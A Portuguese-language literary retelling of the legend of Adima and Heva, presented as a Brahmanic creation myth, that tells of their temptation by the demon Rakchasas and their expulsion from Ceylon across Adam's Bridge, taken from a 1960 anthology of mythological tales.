ADIMA E HEVA – Prasada, ou o Poema dos poemas, dos Brâmanes

ADIMA E HEVA, temos a poética tradição dos Brâmanes sobre o assunto, tal como no-la conta o Prasada, ou o Poema dos poemas.

ADIMA E HEVA

A TERRA estava coberta de flores, as árvores vergavam ao peso dos frutos, milhares de animais folgavam pelas planícies e nos ares, os elefantes brancos passeavam pacificamente à sombra das florestas gigantescas, e Brama compreendeu que viera o momento de criar o homem que devia habitar aquele local.

Tirou da grande alma da pura essência um germe de vida com o qual animou dois corpos, que fêz macho e fêmea, quer dizer, próprios para a reprodução, como as plantas e os animais, e lhes deu o abancara, isto é, a consciência e a palavra, o que os tornou superiores e tudo quanto já fora criado, mas inferiores aos Devas (anjos) e a Deus.

Distinguiu o homem pela força, a altura e a majestade, e deu-lhe o nome de Adima (em sânscrito, o primeiro homem, ou, melhor, o primeiro entre os viventes).

A mulher recebeu em partilha a graça, a doçura e a beleza, e êle chamou-a Heva (em sânscrito, aquela que completa a vida).

O Senhor deu, então, a Adima e a sua mulher, Heva, a Ilha do Ceilão (a Trapobana dos antigos) como habitação.

(Aquela ilha, bem digna pelo seu clima, seus produtos e sua esplêndida vegetação, de ser o Paraíso Terrestre, é, ainda hoje, a mais bela pérola do mar das índias.)

— Ide — disse-lhes ele — uni-vos e produzi os seres que serão vossa imagem viva sobre a terra, séculos e séculos depois que tiverdes voltado para mim. Eu, o senhor de tudo quanto existe, criei-vos para que me adoreis durante toda a vossa vida, e os que tiverem fé em mim partilharão de minha felicidade, ‘quando chegar o fim de tôctas as coisas. Ensinai isso a vossos filhos, para que eles jamais percam a lembrança desses ensinamentos, pois estarei com eles enquanto eu fôr meu nome.

Depois, proibiu Adima e Heva de deixar o Ceilão, e continuou nestes termos:

— Vossa missão deve limitar-se a povoar esta magnífica ilha, onde tudo reuni para vosso prazer e vossa comodidade, e a lançar meu culto no coração daqueles que vão nascer. O resto do globo é ainda inabitável, e se mais tarde o número de vossos filhos crescer a ponto de não mais poderem viver aqui, pois o lugar não seria suficiente para con-tè-los, que me interroguem, entre sacrifícios, e eu farei conhecida a minha vontade.

Dizendo isso, desapareceu.

Então, Adima, voltando-se para sua jovem mulher, olhou-a, e seu coração saltou dentro do peito, vendo beleza assim tão perfeita. . . Ela estava de pé diante dèle, sorrindo em sua candura virginal, palpitante de desejos desconhecidos. Seus cabelos bastos desenrolavam-se, torcendo-se em torno de seu corpo, enlaçando, em suas espirais caprichosas, seu rosto pudico c seus seios nus, que a emoção começava a erguer.

Adima aproximou-se dela, mas tremendo. Ao longe, o sol ia desaparecendo no oceano, as flores das bananeiras se erguiam para aspirar o orvalho da tarde. Milhares de pássaros, de plumagem variada, murmuravam docemente, no alto dos tamarindos e das palmeiras. Os insetos fosforescentes começavam a adejar pelos ares, e todos aqueles ruídos da natureza chegavam até Brama, que se regozijava em sua morada celeste.

Adima aventurou-se, então, a passar a mão sobre a cabeleira perfumada de sua companheira. Sentiu como que

um frêmito percorrer o corpo de Heva, e aquele frêmito transmitiu-se ao seu corpo. Tomou-a, então, em seus braços, e deu-lhe o primeiro beijo, pronunciando baixinho aquele nome de Heva, que ela acabava de receber.

— Adima — murmurou docemente a jovem mulher, recebendo aquele beijo.

E, titubeante, extática, seu belo corpo dobrou-se sobre o braço do esposo.

A noite descera, as aves calavam-se nos bosques: o Senhor de todas as criaturas estava satisfeito, pois o amor acabava de nascer, precedendo a união dos sexos.

Assim o quisera Brama, para ensinar às criaturas que a união do homem e da mulher, sem amor, seria apenas uma monstruosidade contrária à sua Lei.

Adima e Heva viveram durante algum tempo em felicidade perfeita. Sofrimento algum vinha perturbar sua quietude, e não tinham senão que estender as mãos para colher nas árvores os frutos mais saborosos, não tinham senão que se abaixar para recolher o arroz mais fino e mais belo.

Um dia, porém, vaga inquietação começou a apoderar–se deles. Invejoso de sua felicidade e da obra de Brama, o príncipe Rakchasas, o espírito do mal, insuflou-lhes desejos desconhecidos:

— Passeemos pela ilha — disse Adima à sua companheira—e vejamos se é possível encontrar algum lugar mais belo do que este.

Heva seguiu o esposo.

Caminharam durante dias e meses, detendo-se à beira das fontes claras, sob os multipliants gigantescos, que lhes escondiam a luz do sol. Mas, à medida que avançavam, a jovem mulher sentia-se tomada por um terror inexplicável, por certos receios estranhos.

— Adima, — dizia ela, — não nos adiantemos mais, parece-me que assim desobedecemos ao Senhor. Já não deixamos o lugar que êle nos assinalou como moradia?

— Não tenhas medo — respondia Adima — não estará, ali, aquela terra horrível, inabitável, de que êle nos falou.

E continuaram a caminhar.

Chegaram, enfim, à extremidade da ilha do Ceilão. Diante de si viram um braço de mar pouco largo, e, do outro lado, uma terra vasta, que parecia estender-se até o infinito Caminho estreito, formado de rochedos que se elevavam do seio do mar, unia a ilha àquele continente desconhecido.

Os dois viajantes detiveram-se, maravilhados. A região que viam estava coberta de grandes árvores, de pássaros do mil cores, revoando por entre a folhagem.

— Eis coisas belas, — disse Adima, — e que bons frutos devem dar aquelas árvores! Vamos prová-los, e se aquêle lugar fôr preferível a este, ali plantaremos nossa tenda.

Heva, tremula, suplicou a Adima que nada fizesse parti irritar o Senhor contra eles.

— Não estamos tão bem aqui? Temos água pura, frutos deliciosos, para que procurar outra coisa?

— Pois bem, voltaremos — disse Adima. — Que mal pode haver em visitar um lugar desconhecido que se ofereci? a nossos olhos?

E aproximou-se dos rochedos. Heva seguiu-o, tremendo.

Tomou êle a mulher sobre os ombros, e começou a atravessar o espaço que o separava do objeto de seus desejos.

Quando tocaram o chão, ruído espantoso se fêz ouvir: árvores, frutas, flores e aves, tudo, enfim, quanto tinham visto da outra margem, desapareceu num instante. Os rochedo’ sobre os quais tinham vindo, mergulharam nas vagas, e apenas algumas rochas agudas continuaram a dominar o mar, como para indicar a passagem que a cólera celeste vinha de destruir.

(Esses rochedos, que se erguem no Oceano Índico, entre a ponta oriental da índia e a Ilha do Ceilão, são ainda hoje conhecidos na região com o nome de Talam Adima, isto é, Ponte de Adão. Quando os navios que vão para a China e para a índia ultrapassam as Maldivas, a primeira ponta da costa hindu que percebem é um cume azulado, muitas vezes coroado de nuvens, e que se levanta majestosamente do seio das águas. Foi de junto daquela montanha que, se gundo a tradição, o primeiro homem partiu para abordar a costa da terra grande. Desde os tempos mais remotos, aquela montanha tem o nome de Pico de Adão, e é ainda sob esse nome que a ciência geográfica o designa.)

A vegetação, que eles tinham visto de longe, não ora senão enganadora miragem, suscitada pelo príncipe dos Rakchasas para levá-los à desobediência.

Adima deixou-se cair, chorando, sobre a areia nua, mas Heva veio a êle e atirou-se em seus braços, dizendo-lhe:

— Não te desoles, antes reza para que o Senhor, de todas as coisas nos perdoe.

Quando ela assim falava, uma voz se fèz ouvir, deixando tombar estas palavras:

— Mulher, tu só falaste por amor de teu marido, que eu te ordenara amar, e esperaste em mim. Perdôo-te, e a êle também, por tua causa, mas não entrareis outra vez no lugar de delícias que eu criara para vossa felicidade. Pela vossa desobediência às minhas ordens, o Espírito do Mal vem de invadir a Terra… Vossos filhos, reduzidos a sofrer e a trabalhar a terra por vossa culpa, irão tornar-se maus, e me esquecerão. Mas eu enviarei Vishnu, que se encarnará no seio de uma mulher, e lhes trará a todos a esperança na recompensa de uma outra vida, e o meio de, pela oração, adoçar seus males.

Os dois esposos levantaram-se, consolados, mas tiveram que se submeter a trabalhos rudes, a fim de obter da terra seu sustento.

Fonte: Maravilhas do conto mitológico. Adaptação de Nair Lacerda. Cultrix, 1960.

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